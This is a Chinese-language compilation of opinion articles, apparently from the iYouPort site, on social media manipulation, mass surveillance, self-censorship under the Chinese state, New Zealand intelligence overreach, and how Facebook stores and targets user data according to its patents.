- 不只是正在啊，已经扭曲好几年了《看不见的独裁》
- 《国王们的晚宴》
- 《硅谷巨头如何利用算法操纵墨西哥选举？》

其技术包括使用社交媒体传播虚假信息、使用社交媒体数据进行监视和微目标定位、使用机器人或半自动帐户以及使用假冒角色对目标群体进行操纵。

- 《谁正在成为独裁者？这十点迹象帮你判断》

报告说：“到目前为止，这种技术没有监管”。

上述两份报告是紧接着牛津互联网学院（Oxford Internet Institute）9月份发布的报告之后推出的。该报告《 2019年全球有组织社交媒体

操纵清单》的调查结果与上述类似。

牛津大学的报告发现的证据显示“有组织的社交媒体操纵运动在70个国家进行，而2018年为48个国家，2017年为28个国家。”

该报告还指出，独裁政权以及包括中国、印度、伊朗、巴基斯坦、俄罗斯、沙特阿拉伯、和委内瑞拉在内的七个“复杂的国家行为者”越来越多地使用社交媒体压制自己的人民，并同时开展外国影响力行动。

Twitter 仍在前线

「图」

每份报告都提到了 Facebook 和 Twitter 是社交媒体操纵和虚假信息发布的重要平台这一事实。

Twitter 去年底宣布将禁止在其网站上发布的政治广告。许多人都称赞此举是在反对虚假信息和选举干扰方面取得的进展。

此后不久，Twitter 删除了一个机器人僵尸网络，该网络发送亲沙特阿拉伯立场的有关谋杀记者 Jamal Khashoggi 的消息。

- 「杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训」

但是，更令人震惊的是，很快就有消息称，两名前 **Twitter** 员工因涉嫌代表沙特阿拉伯而被司法部起诉。这两名员工被指控“获取有关使用该平台的异议人士的真实身份信息”，并将该信息传递给沙特政府。

真是闹心。显然，这种事只有被揭露才能被获知，我们想要知道的是，还有多少尚未被揭露的阴暗？只服务于沙特吗？中国的钱也在硅谷充斥，他们会为中国的权力做什么？……

- 《硅谷充斥着中国和沙特的资金，有谁关心？》

Evidence Mounts Of Social Media’s Negative Impacts For Democracy

原文

纳粹和你 - iyouport

监视之恶-关于你可能还不知道的真相

【2019年3月13日存档】纳粹德国政府于1939年5月17日进行了人口普查，其中包括一张特殊的”卡”，后来发生的事证明，这只是一个死亡名单...而今天，我们不需要盖世太保来强迫我们放弃我们的个人数据，我们会自愿向军事工业综合体最私密的个人数据。恐怖的历史即将重演。

我所属的非营利组织最近将大约 410,000 人的个人数据被放到了互联网上，连接到他们居住地的互动街道地图。这些数据包括他们的全名、出生日期和地点、已知住址，并且通常包括他们的职业和逮捕记录，有时甚至包括有关精神或身体障碍的信息，并且，还列出了他们的祖父母是否是犹太人.....

如果有人在互联网上以同样的方式发布您的个人数据，您会是什么样的感受？上述网站基于纳粹迫害受害者的个人数据，是纪念项目的一部分。但是，鉴于这些重要的个人数据可能在政府可以无限制访问的许多公司服务器上提供，那么如何才能阻止这些数据被滥用？

纳粹德国政府于1939年5月17日进行了人口普查，其中包括一张特殊的“补充卡”，如果一个人的四个祖父母都是犹太人，这个人就必须被标记出来。

20世纪80年代，在西德进行了一次人口普查，引发了左翼的大量反抗，包括大规模的街头示威。当时发表了几项有关20世纪80年代计划人口普查的学术著作，其中提出纳粹滥用1939年的人口普查数据来制定驱逐出境名单，将犹太人送往集中营随后杀死。1983年德国最高法院的决定提出了标准，严格限制个人私人数据的使用程度。

然而，后来的研究证明，尽管纳粹最终滥用了1939年的人口普查数据，但将带有“补充卡”的人发送到德国各地的当地警察（即盖世太保）登记处的行动只发生在1941年末和1942年。此时不仅驱逐出境已全面运作，而且此时“补充卡”上的数据基本上已不再有效—许多犹

太人已经被驱逐出境，大多数留下的人都被迫搬进更小更拥挤的公寓，即所谓的“犹太人房屋”。

1939年至1942年之间不需要1939年的人口普查数据来制作驱逐出境名单，因为盖世太保迫使犹太社区为所有已知的犹太人制作卡片索引。这些卡片索引是一种典型的纳粹策略，迫使他们迫害的人直接协助实现对自己的迫害—通常是驱逐出境名单的基础。在某些情况下，犹太社区本身被迫编写驱逐出境清单，并决定谁可以留下以及谁必须上火车。

今天，我们不需要盖世太保来强迫我们放弃我们的个人数据，我们会自愿向 **Facebook** 等社交媒体或谷歌等军事和情报界的主要承包商提供最私密的个人数据。许多人提供他们的数据以维持他们在互联网上的社交存在或仅仅是为了方便。

对此的标准回答通常是“我没有什么可隐瞒的”，但这无疑是基于一种假设，即 政府不会基于他们的政治观点、性取向或生活方式选择而逮捕他们。

当年给盖世太保做线人提供个人数据的人还能拿到钱，而今天，人们心甘情愿将最珍贵的个人信息无偿地奉献给了阴暗的军事-工业综合体。

如果纳粹分子能够像今天这些数字巨头企业那样获得个人数据，那么对于他们的种族、政治立场、性取向或者他们在某种程度上被视为身体或精神残疾这一事实而遭受迫害，几乎无人能幸存。

将CCTV视频监控和面部识别软件添加到监视系统中，就绝对不会有幸存者。然而，这并不是某种替代现实猜想，它就是高堡奇人的现实版—— 国家安全局对数据的滥用已经显示出如何毁掉宪政民主的可能性，政府在过去几十年中已经逐步陷入了新的腐败形式，对未来的人权焦虑甚至超过了高堡奇人反乌托邦最虚构的情节。

其中一个主要问题是我们默认不会或无法期望保护我们的个人数据，尽管欧盟已经制定了这样的法律，但就像现在一样，您需要自己采取额外措施来减少您的个人数据量。可以利用的方法包括：退出 Facebook；尽可能减少使用谷歌的任何服务；使用 Epic 之类的浏览器不会存储您的数据，自动删除所有 Cookie 和跟踪器，并使用内置 VPN隐藏您的地理位置。

大多数人都处于商业剥削的境地，他们以他们无法想象的方式受到迫

害。如果他们不能主动帮助自己摆脱困境，没有人能做到帮助他们。

我每天都在处理纳粹的历史，我环顾柏林的街道，我住的地方，纳粹受害者曾经生活、被爱和工作的地方，痛苦的回忆无处不在。我对过去、现在和未来的区分越来越模糊，我们越来越多地允许自己向那些使用这些数据的机构付出我们的基本人权，而这些数据被滥用的程度似乎每天都在增加，过去、现在和未来之间的这种区别似乎变得越来越少。

The Nazis and your privacy: Today we don’t need the Gestapo to force us to give up our personal data, we offer it up voluntarily to social media like Facebook or major US government contractors for the military and intelligence communities like Google.

原文

老大哥并没有一直在看，反而比这更可怕——监视之恶（一）你可能还没完全理解奥威尔 - iyouport

监视之恶-关于你可能还不知道的真相

【2018年2月12日存档】王尔德曾经说过，给人们一张面具，他们就能说实话。换句话说就是，当人们知道自己正在被盯住的时候 – 自己的脸可被识别的时候 – 其言论很可能是违心的。

现在的科技水平已经使得无孔不入的监视成为可能。与此同时，世界各国的政府都在想方设法说服并训练民众无视个人隐私。为了让人们容忍对其私人领域的严重侵犯，很多长篇累牍的陈词滥调人们早已耳熟能详。

在中国，很多人说着与当权者同样的话，要么认为那些高度侵入性的监视系统“真的是为了老百姓的安全”，要么认为自己“无能为力，干脆循规蹈矩讨好当权者”。美国社会曾经也有非常近似的认知，并不完全是因为人们无知，更多是因为当权者的宣传太具成效了。

包括诸多互联网巨头都在附和这些荒唐的观点，揭秘材料已经显示，这些机构一直在充当政府的帮凶。谷歌首席执行官 Eric Schmidt 曾经在接受 CNBC 采访中大言不惭地诋毁隐私这一基本人权，他说：“如果你的所作所为不想让人知道，那你一开始就不应该做”。

目前正被出卖用户丑闻淹没的 Facebook 创始人扎克伯格也表现了出同样的不可一世，在2010年的一次采访中，他称：“在数字时代，个人隐私不再是社会规范” —— 这种说法完全是在为科技公司倒卖用户私人信息的监视资本主义恶行做最无耻的辩护。

口是心非的监视支持者

始于对共产党的恶劣行径的鄙视，加之一直以来一切异议和批评均被严重压制的事实，中国社会已经出现了一种波及范围深广的拒绝思考

问题本身的倾向，即包括并不限于无条件认同硅谷巨头。心态似乎可以谨慎理解，但这种可称为偏执的倾向正在阻碍中国社会的民主认知，民主意味着公民监督政权、保证政策为民众谋利，意味着作为公民应该时刻警惕权力滥用，而这些互联网巨头之所言恰恰是在侵害民众的权利，这些与政权合谋的跨国公司对监视资本主义的施行正在剥夺全球几十亿互联网人的隐私权——基本人权，而不仅仅是在危害美国公民。同理，做梦都想变成老大哥的中国互联网巨头的海外扩张，正是在反转GFW。

事实上，那些贬低隐私的人们、那些称隐私已经不复存在或可有可无的人们，他们自己都不会相信自己的话。还说谷歌，谷歌一直拒绝与科技信息网站 CNET 的记者进行任何交流，只因 CNET 曾经公布了 Eric Schmidt 包括薪金、竞选捐助在内的个人信息，而所有这些信息都是从 **Google** 搜索中获得的。**CNET** 此举是为了强调谷歌公司所带来的入侵危险。

同时，藐视隐私的扎克伯格斥资 3000 万美元买下了他家周围的四栋楼，只为了把它们拆掉，以保护他自己的隐私。正如 CNET 所言："你的个人生活变成了 **Facebook** 赚钱的商品，而他们 **CEO** 的个人生活完全与你无关"。

同样，那些喊着隐私不重要、监视无所谓、拥护实名制的人们，他们依旧会给自己的电子邮箱和银行账户设置复杂的密码，而且不会把密码告诉你。他们和其他人一样洗澡时会关门，不会在大街上做爱，不会把和知心人的悄悄话告诉其他人，不会允许你在他家卧室安装摄像头。

Snowden 泄密后，当时的参议院情报委员会主席 Dianne Feinstein 坚持认为，国安局大规模搜集监听数据"不构成监控行为"，"因为其中不包括交流的全部内容"。抗议者则要求她用行动来支持自己的言论：这位参议员是否会公开她自己电邮交往和电话通讯的所有人的名单？还要包括具体通话时长、以及在何处何时通话？她当然不会接受，没有人应该接受，因为它构成了对个人领域真正的侵害。

问题的重点在于，对保护隐私的欲望是所有人共同的重要特点，是人何以为人的关键所在。在私人领域，我们可以自由自在地行事，所思所想、所言所行、所作所为都不必在乎他人的评判。隐私是成为自由人的核心条件。

为何隐私重要？最著名的陈述要属美国最高法院法官 Louis Brandeis 于1928年在 Olmstead 诉美国一案中的表达："一个人独处的权利是

最广泛的一项权利，隐私的价值比公民自由的范围更大”。

> 我们宪法的制定者为确保对幸福的追求制定了有利的条件。他们认识到，人的精神本质意义在于其情感和智慧，而物质世界中只存在着生活里的一部分痛苦、快乐和满足。他们试图从信仰、思想、情感和感受等方面保护美国人。他们被赋予隐私权，以此来与政府抗衡。

隐私才是自由，保证隐私才能保证创造力

隐私对人的自由和幸福至关重要，很多人稍有了解，从本能层面支持，至少人们在自我保护的下意识中已经表明了这点。虽然其具体理由未被充分探讨。比如你肯定有这样的体会，当意识到有人在盯着你的时候，行为方式就会发生极大改变，会开始严格遵守大众所接受的社会惯例，以防止自己的行为言论被视为离经叛道、“有异于常人”。

当人们感觉到有人在注视自己时，考虑作出的选择会大幅受限，对隐私权的否认会极大限制个人的选择自由。

曾经与一众藐视隐私的中国人辩论，其中一位认为“监视无所谓”的对方给出的理由是：上帝无处不在。的确，一些宗教信仰会使用与政府相同的方法来教导人们顺从，比如“神一直在看着你”，意思就是说：你永远无法逃出最高权威的监控，那么你别无选择，必需顺从权威的旨意。我并没有对信仰本身的非议，只是借其说明压制性权威的通性。

不论是政治、社会、家长还是宗教，所有压制性权威都要仰仗这一重要理论，以此作为主要工具来执行正统观念、强迫服从并打压异议。其宣传的主要目的就是要让人们相信，“不论你做什么都逃不开权威的掌握”，这才符合统治者的利益。剥夺隐私将做为有效地打击任何不同意见的武器，其效率来自自我审查，比警察机关的监管更为深入和苛刻。

当私人领域不复存在时，那些与生活品质直接挂钩的种种特质也会损失殆尽。你在独处时作出的行为才是发自内心的，不论是手舞足蹈、亲密示爱、分享未经验证的想法，当你发现自己的所为被他人一览无遗时，肯定会羞愧难当。

只有当人们认定无人窥视时，才能感觉到自由，才会有安全感，才会进行真正的尝试，探索边界所在、思考新方式，才能出现创意，如果

在开始思考之前已经知道其思考结果必需在令监视者满意的框架之内，创造力还没产生就已经死掉了。

互联网原本的魅力完全在于它可以实现匿名发言，这是对个人探索至关重要的条件。正因此，只有私人领域才会关乎创造力，让异议能得以体现，并对正统思想提出挑战。

> *Orthodoxy means not thinking–not needing to think. Orthodoxy is unconsciousness*

对所谓正统的痴迷正是中国社会存在的诸多明显问题之一。就如 Orwell 所言，正统意味着无意识、不需要思考、畏惧变革、以顺从为美德的文化，没有独立人格。这是为什么很多中国人对隐私这一基本人权无感，甚至有完全相反的理解；也是为什么中国社会的几乎一切都是通过抄袭模仿得来的，包括政权的恶行，连作恶方面都没有独创性。

任何实施大规模监控的政权都在表明，其必然是一个压迫性政权，就算其中并无心怀不轨的官员借机为自己牟利，也同样如此，这是其做法本身的性质。不论监控的结果是否出现滥用，都无法回避问题的关键：它本质上已经构成对自由的严重侵犯。

你可能还没真正理解奥威尔

对 George Orwell 的引述成了老生常谈，虽然很多倒背如流的人们并没能真正理解 1984。但是 Orwell 的警告并没能起到足够的作用，至少在中国是肯定的。我所指的人们没能真正理解 1984 是因为，它所描述的并非仅仅是监控本身。

举个例子。日前 RFA 援引消息报道，共产党正在“开发”一种“新”的社会控制体系（原文如此，但它并不新，正相反是最为老旧的），使其能更好地控制公民的生活。该系统将社区划分为每户15-20个家庭的网格模式，并为每个网格提供一个专门的监测员，负责向居民委员会报告居民事务。

中国的居委会长期以来一直负责监督某一地区的普通老百姓的活动，但该报道说，新的网格管理制度将使共产党更加密切地管理老百姓的日常生活，并在早期阶段报告可能存在的“异议隐患”——所谓的“隐患”涉及居民生活、政治观点和投诉等几乎所有方面。

消息引述：“去年11月，中国官媒报道说，浙江省东部的一些街区已

经招募了网格化监视的工作人员，每月提供 5000 元人民币（792 美元）的薪水”。

该消息的一部分来自援引官媒报道，也就是说消息本身有明显的宣传目的。我们或许需要考虑它出现在近期，究竟意味着什么？是当局觉得人脸识别技术、大规模拦截系统、预测犯罪系统都无法让老百姓感受到切实的恐惧，才转而宣传这种石器时代的斯塔西套路？还是上述那些技术在中国所引发的效应，并没有令当权者“满意”？

我提出了这个问题，但回应显示，并无人感受到这一问题的本意。就如 1984 所描述的，老大哥并不需要每时每刻在盯着看，他只需要让人们知道自己正在被随时随地地监视着，就已经足够了 —— 正是这种不确定性和监视的无处不在的可能性，让所有人对政府言听计从。

> *Big Brother isn't watching. Big Brother's busy holding your attention every moment you're awake. He's making sure you're always distracted. He's making sure you're fully absorbed.*

简单说就是，最终人权是被吓死的，而不是被直接被监控“而死”。

还说中国。理论上，这种石器时代的群众斗群众方法并不是真正有效的，相比高度侵入性的科技来说，它更依赖于人，而人是最不稳定的、多变的、难以掌握的，与共产党政府的全面掌握之基本欲求不符。斯塔西当年是因为没有上述那些高效的监视技术，才会依赖政治审查的所谓“合格对象”，而如今，中国当局在高调宣传高科技监控的同时还要重新宣传群众斗群众，则意味深长。

其实包括近年来被广泛熟知的宣传如 “朝阳群众”和“负责举报的大 V”等等，都是同样的性质。有人认为这是在用技术和人力监控作为“双重恐吓”，但从客观角度上说，双重恐吓并没有必要，多此一举。至少，技术开发本身已经耗资巨大，而这些举报人、监控网点负责人都是花钱买的——月薪 ¥5000（如上述显示），除非北京的维稳经费丰足——也就是说，曾经被很多人相信的“经费枯竭”之推断不实。

假设“双重恐吓”属实，则很有可能就此证实了我们一直以来的担心，即 中国社会大部分人直到如今完全意识不到科技监控老大哥的邪恶——对隐私前所未有的入侵，其证据包括并不限于民间投资人对 **AI** 监控技术公司的垂涎、民间技术人士对此类助纣为虐之产业的谋职追求，以及包括从事高危职业的人们如调查记者在内的广泛中国社会，对隐私安全的熟视无睹。这将是比当局的“复古风”更为可怕的反抗障

碍。

是反抗障碍，并不是在有意制造恐怖气氛，我知道这并不需要多余的解释，但在一个没有真正反抗者、甚至反抗意识薄弱的社会里，理解上述似乎不会很容易。

还回到 1984 的逻辑，Orwell 的描述至少在一半程度上是针对自我审查的警告，而不完全是审查本身，自我审查是比审查更可怕的东西，因为它可以贯穿一个人的从意识到下意识的全部内心，没有任何一种科技能时时刻刻做到这点，但恰恰是监视技术本身的存在，触发了这般魔鬼式的自我审查，就如 Bentham 18世纪设计的圆形监狱，其设计目的就是让被监禁者在心理层面上形成“监视无处不在”的印象。而无所谓究竟有没有人在看。

同样，中国实施的网格化监管也并不追求所有网格负责人 – 那些小脚老太太和自干五们 – 都能做到永远忠于共产党的领导，甚至不需要他们抓到多少异议分子，只需要该审查框架之存在被大众广泛熟知，制造出草木皆兵人心惶惶的社会环境。

这样一来所有人都不敢轻举妄动，只能循规蹈矩，言听计从。联合反抗的希望彻底被消灭。这就是心理暗示对行为操纵实现的革命性影响。

Iyouport 主编 Rosefield 曾经讲过一个有趣的观察，他们在中国的 GFW 内外的信息推送获得了完全不同的效果：在 GFW 内几乎无人呼应，而在 Twitter，则获得了明显的增长趋势的关注。因为 iyouport 的博客网站并没有被 GFW 封锁，于是不存在翻墙问题，并且，他们的推送可覆盖面在墙内远高于 Twitter 和 Google＋（大约高两到三倍），然而关注度却截然相反。

另一位中国媒体编辑私下告诉我，“最好不要给那些明显的政治敏感的内容和关注对象点赞，你知道的，他们会看见”……这里的“他们”指的就是 big brother。作为中英双语的欧洲独立媒体 iyouport 从不做任何自我审查，他们根本不了解中国审查的“红线”在哪儿（恐怕没人真的了解，这就是立法者将标准模糊化的目的所在 —— 刺激更为苛刻的自我审查）。我无法确定这位编辑所描述的观点在中国的被默认之程度有多大，但除此之外，我找不到其他理由来解释 Rosefield 的困惑。

王尔德曾经说过，给人们一张面具，他们就能说实话。换句话说就是，当人们知道自己正在被盯住的时候 – 自己的脸可被识别的时候 –

其言论很可能是违心的。中国的 GFW 之内，“从自我审查到自我维稳”之趋势（我们三年前的文章），并非难以理解。虽然从技术角度上说，仅仅使用 VPN 无法帮你完全匿名，除非 Tor，但对中国网民来说似乎已经相当于一张有触感的“面具”，令他们可以放心地表达真实的立场。顺便说，Rosefield 表示很高兴从 Twitter 的中文评论中获得了知识和信息的补充。

“微信是透明的”，这已经是多年来尽人皆知的事实，但马化腾依然可以大言不惭地宣称，其月活跃账户突破 10 亿，隐私捍卫者被羞辱了。就如扎克伯格在剑桥丑闻之后依旧能获得“丝毫不受影响的广告利润”，因为它们已经变成几十亿人生活的重要部分，对这些用户来说，割弃它们就相当于割弃自己的生活。

基于此，我们给出了更多的支招，包括并不限于给微信信息加密的方法、使用 Tor 和 Privacy Badger 来反跟踪的方法，意味着你可以继续使用这些应用，同时在足够程度上减轻被监视的压力。但技术无法解决的是，这些监视行为的存在已经深入人心，自我审查的惯性已经在很大程度上被植入了意识。

至少如一位中国朋友所说，“信息加密无法抵御那些就存在于你身边的眼睛”。是的，中国社会的“危险”还在于政府一直在宣传的举报机制，它在不断暗示人们：政府的代理人就在你身边，而你并不知道究竟是谁。“举报”这个词在威权国家和民主国家有着完全不同的意思：举报是民主国家的公民行使监督政府的公民权之必需的措施，即针对政府秘不示人的恶行予以揭发、促其纠正和收敛；而在威权国家，举报往往在民众之间发生，政权借此将全社会变成了一个庞大的监视机器，剥夺人民之间的信任，从而剥夺民众联合反抗的机会。

中国政府的宣传一直都是这样的目的：不论是监视技术、还是斯塔西式的群众斗群众，当权者急于告诉你这些东西存在，不论它们是否能时刻而充分地发挥作用，那并不重要，你也不可能知道，但是你已经感知到了自己无处可逃的“现状”，监视本身的目的就已达成 —— 确保了权力自动发挥功效。

> 以持续不断的监视的形式，以控制、惩戒、补偿的形式，以修正的形式，对个人施加权力，是依照监视实施者满意的规范对个人进行的塑造和改变…… *Michel Foucault* 《*Power*》

——未完待续——

本系列完整版在这里：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

间谍们痴迷于非法监视环保活动家，他们错过了一名全副武装的右翼恐怖分子 - iYouPort

监视之恶-关于你可能还不知道的真相

新西兰是五眼国家之一（英国，美国，加拿大，澳大利亚，新西兰），他们在大规模监视方面进行合作，它拥有一个臭名昭著的侵入式监视设备，完全不受约束。新西兰绿色和平组织、新西兰绿党、法力运动、和反TPP活动家长期受到间谍设备的监视；他们还让私人公司间谍可以访问其国家监控数据，以帮助他们追捕并抵制活动家；不出所料，新西兰警方也滥用这些记录，数千次在没有逮捕令进入活动家的设备。

在前总理约翰·基（John Key）的指导下，这种情况尤其严重，他个人就涉嫌非法监视。Key 也是离岸洗钱最臭名昭著的推动者，大规模扩大了新西兰在全球黑暗货币网络中的作用，而且该国监管宽松有助于保护金融犯罪者免受审查。

值得注意的是，尽管有这些监视，新西兰安全部门要么不知道杀害了49人的白人至上主义恐怖分子的存在；要么就是根本没有判断他是一个威胁。

这种盲点是典型的维稳服务，他们倾向于遵循将非暴力活动家和动物权利倡导者视为危险，同时忽视全副武装的右翼民兵和白人至上主义运动的崛起。

在这场可怕的恐怖主义暴行之后，新西兰安全部队将要求更多的权力来监视更多的人，但他们无疑会继续坚持他们惯常的监视行为——这种做法非常糟糕并证明是完全不合适的—— 一直隐藏在公众监督和批评之下。

如果认为赋予新西兰历史上最腐败和反动的安全部队更多权力将会减少他们的反动，那就太天真了。

新西兰总理，最优秀的 Jacinda Ardern，在袭击事件发生后正在做很多事。但她不应该奖励她的维稳部队。相反，她应该将此作为清理的

机会，并坚持审查服务的优先事项、问责制和对法治的遵守。

有些人会说，作为情报机构的受害方，我们只是利用这场悲剧来批评他们。但是与往常一样，正是这些机构会首先利用新闻周期来寻求更多资金、更多权力、更多资源以及最终能令他们进行更多间谍活动的理由。

问题是，一旦不可避免地获得这些收益，他们将如何选择使用这些收益？

如果没有监督机构或官方调查的有意义的干预，答案只能是：不良、不民主和不公正。

New Zealand’s domestic spies, obsessed with illegally surveilling environmental activists, missed a heavily armed right-wing terrorist

原文

人类数据库和算法劳工：Facebook 的算法工厂 (第2部) —— 关于数字极权是如何折腾你的

你我的灾难现实关于Facebook-这不只是一家公司算法暴政

【2019年5月22日存档】本系列调查仅以 facebook 为例，事实上 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）都在干同样的事，只是方法略与不同、范围或大或小。您完全可以利用本系列演示的思路和提供的工具对任何一个数字极权作出独立调查。这一过程能帮助您和您的读者更深刻地理解我们所有人正在遭遇什么。

在著名的 ”Postscript on the Societies of Control” 中，Deleuze 设想了一种权力形式，它不再基于个人的生产，而是基于个体的调制。个人被解构为通过“数据库”管理的数字足迹……

继续前文。

研究工具和方法：如何存储数据、以及内部使用何种算法是最难调查的部分。幸运的是，找到了一个知识来源，让我们对这些神秘的算法过程有了一些了解：所有公开的 Facebook 专利的数据库。

我们发现 Facebook 注册了大约 **8000** 种不同的专利。基于它们，我们创建了对这个黑匣子内发生的事的一些可能解释。另一个主要信息来源是 Facebook Graph API，这是第三方开发人员将数据输入和移出 Facebook 平台的主要方式。*17th century engraving of the pons asinorum in logic*

存储数据

「图」

在我们探索 Facebook 如何存储和分析数据的不同方式之前，了解社交图的概念非常重要，社交图是将所有数据连接到一个结构的元结构。

社交图的故事是通过将 Facebook 帝国内外的每条信息互连到一个单独的图中来驾驭他们对元数据世界的统治和野心。“这就是 Facebook 工作的原因”，马克·扎克伯格在 2007 年将 Facebook 的力量归功于社交图。

社交图是 Facebook 如何表示其所有数据的方法，它基本上包括两件事：对象，也称为节点；和描述这些节点之间的连接，也称为边缘。

每个用户、地点、照片、群组、活动，在 Facebook 上创建或上传的所有内容都是 Facebook 数据库中具有自己 ID 的唯一对象。例如，当您点赞 Facebook 上的某些图片时，会在两个对象之间创建连接「like」，即「userID」和 photo「photoID」。此照片可以包含许多其他连接，即点赞相同照片的其他用户、与该照片相关联的位置、或在该照片上标记的用户。

根据 Facebook API，Facebook 社交图中存在不同类型的节点：（在这里看大图）

通过使用社交图，Facebook 能够将点赞相同照片的不同用户联系起来，或者将照片上标记的人与照片所属的位置联系起来。

⚠ Facebook 帝国世界是由数十亿个对象组成的庞大社交图，由不同类型的链接互连。

喂养社交图

⚠ 根据 Facebook 的几十项专利，有3个不同的商店，数据库提供社交图谱，并存储我们创建的所有数据、元数据和内容。

- **Action store**—维护描述用户操作的信息；
- **Content Store**—存储表示各种类型内容的对象；
- **Edge store**—存储描述用户与其他对象之间连接的信息。

Content Store 和 Edge Store 一起基本上是一个数据库，主要元结构的结构资源，社交图将所有对象和连接形成一个结构。

我们在Facebook上的所有操作都由“行动和内容记录器”记录，这些记录器为 Action and Content stores 提供新数据，不断扩展关于我们的

数据库，它们由 Facebook 拥有，并很可能与许多人共享。（这里点击下面的大图）

Action Store

每次点击、滚动、分享等动作，基本上你在 Facebook 上做的任何事都由行动记录器收集并存储在 Action Store 中。Action Store 维护描述用户动作的信息，以及在向 Facebook 传达信息的第三方网站上执行的动作。

操作或交互的示例包括：评论帖子、共享链接、标记对象、签到物理位置、评论相册、向另一个用户发送消息、加入活动、加入群组、粉丝品牌页面、创建事件、授权应用程序、使用应用程序、与广告交互、以及参与交易。

Content Store

这个 Content Store 存储表示各种类型内容的对象，例如页面发布、状态更新、照片、视频、链接、共享内容项目、游戏应用程序成就、本地企业的登记事件、品牌页面、或任何其他类型的内容。对象可以由用户创建，或者在某些情况下从第三方应用程序（其他网站或应用程序）接收。

Edge Store

这个 Edge Store 存储描述用户与其他对象之间连接的信息。一些边缘可以由用户定义，允许用户指定他们与其他用户的关系。当用户与对象交互时生成其他边缘，例如表达对页面的兴趣，与其他用户共享链接以及评论其他人发布的帖子等等。边缘存储还存储其他信息，例如对象的关联性分数，兴趣以及我们将在之后介绍的算法处理生成的其他信息。

Profile Store

正如我们已经提到的，我们所有人的行动数据被收集并存储在动作、内容和 Profile Store 中。另一方面，我们在个人资料信息部分中分享的有关我们自己的信息也存储在 Profile Store 中。（这里点击下面的大图）

每个用户被与用户简档相关联，该用户简档存储在用户简档存储中。用户简档包括关于用户明确共享的声明性信息，并且还可以包括由 Facebook 执行的其他数据收集和分析手段推断的简档信息。

用户简档可以包括一个或多个直接特征，其唯一地标识与用户配置文件相关联的例如电子邮件地址、或电话号码。这些信息可用于识别 **Facebook** 之外的用户，指示用户配置文件和附加用户配置文件与同一用户相关联。

这允许 **Facebook** 跟踪用户并合并来自其他来源的信息。结合 Facebook 的“实名制”，它完全可以准确地将您的用户档案与您的真实身份相关联。“Facebook 是一个人们使用真实身份的社区。我们要求每个人都提供他们的真实姓名，以便您始终知道您与谁联系“…他们自己说的。

这些结构就是 Facebook Factory 的建筑物，其中资源材料，从我们所有人的行为中提取的数据，被存储并准备供算法工作者处理。在下一章中，我们将探讨一些最有趣的 Facebook 工作人员的深度权力结构—— 将行为数据转化为最终产品的算法。

数据处理：算法劳工的剖析、任务和职责

「图」

了解算法如何处理大量数据以及它们究竟是做什么的，对于理解可能利用我们的个人数据的形式、以及每天影响数十亿人的大规模操纵机制，非常重要。

我们在这项研究中的主要目标之一是尝试对这些过程进行独立的洞察，尝试提出不同的测量方法，或从外部独立审计算法的潜在方法，但我们遇到了很多困难。尽管我们没有设法根据实际数据创建方法论，但对 Facebook 专利的研究让我们深入了解了一些最重要的流程。*Euclid-Detail from the painting “The School of Athens” by the Italian Renaissance artist Raphael created between 1509 and 1511*

行动数据分析

「图」

正如之前所解释的那样，Facebook 上的每一项活动都存储在所谓的 Action store 中。这意味着动作存储是一个庞大的结构化用户活动数据集，使其成为目标机制的一个非常方便的选择。（点击这里看下面大图）

该过程的说明

模糊匹配算法用作基于来自 action store 的数据进行定向的主要机制。发生两个并行过程以生成模糊匹配器的输入。首先，活动日志通过 Action Interest Extractor 从 Action 日志中获取。在 Action Interest Extractor 中加载这些日志后，特定用户的兴趣列表将仅根据 Action 日志中的数据确定，即他的活动（点击、like、评论、分享等等）。然后，将感兴趣的列表作为查询转发给模糊匹配器。

第二个过程是为模糊匹配器所针对的用户选择适当的广告的过程。此过程的第一步是广告服务器向信息项概念提取器提供广告。一旦信息项概念提取器加载了一组广告，就会对它们进行分析，并确定每个广告的概念，即为每个广告分配一个表示其概念的属性。

最后，模糊匹配算法使用兴趣作为查询来执行搜索; 因此，选择与查询最匹配的广告，然后将其投放给目标用户。

内容分析

在前几段中，解释了使用 Action store 中的数据来定位用户的机制。除了该数据，来自内容存储库的数据也用于定位用户。毋庸置疑，在这种情况下，定位是基于用户以多种不同方式在 Facebook 上发布的内容。（点击这里看下面大图）

基于内容的定位有两个相关方面。第一个是主题，第二个是关键字。当用户向 Facebook 发布某种内容时，有一个主题提取引擎，用于标识与该内容相关联的一个或多个主题。为了将主题与内容相关联，提取引擎对其进行分析并识别包含在内容中的锚定术语并确定其含义。

该过程的说明

使用提取的主题，算法定义关键字列表并将它们与一个或多个期望值相关联。该算法使用关于用户的信息来确定与列表上的候选关键字相关联的值。分配的值用于对候选关键字进行排名，最高排名被选择为能最精确定义内容的一个。

算法使用在用户和内容中的关键字之间创建的连接来确定下一步给你扔什么饲料。

基于内容定位的重要输入也来自 Action store，它与广告定位的负面信号相关。事实上，这是一组用户可能对此产生负面情绪的东西，并用于标记用户不希望看到的东西。当 Facebook 基于用户不喜欢特定对象（内容）的行为来确定时，它确定对象的主题并将负面情绪与他

们相关联。负面情绪和主题之间的关联用于降低与所述主题匹配的内容被提供给用户的可能性。

这就是为什么如果你一直呆在集中化的网络上只会形成认知封闭，因为你再也看不到与自己不一致的观点、看不到可以帮助提升认知的信息。如果我们所有人都呆在这里，就是严重的气泡化和极化，为操纵者提供了极大便利。（点击这里看下面大图）

通过形成用户的逻辑结构来收集用于精确定向的重要数据。Facebook 将特定属性的用户分组到被称为种子集群的结构中。一旦创建了种子集群，就会检索与该用户相关的一组其他用户或对象。

在这些集合中，算法确定集合中的用户是否与主要用户共有相同的属性。确定过程基于次要用户的明确声明、对其连接的分析、并使用随机游走算法。结果用于确定辅助用户是否也可以与群集关联。因此，建立了定位群集，可用于定位用户并向其展示特定内容。

该过程的说明

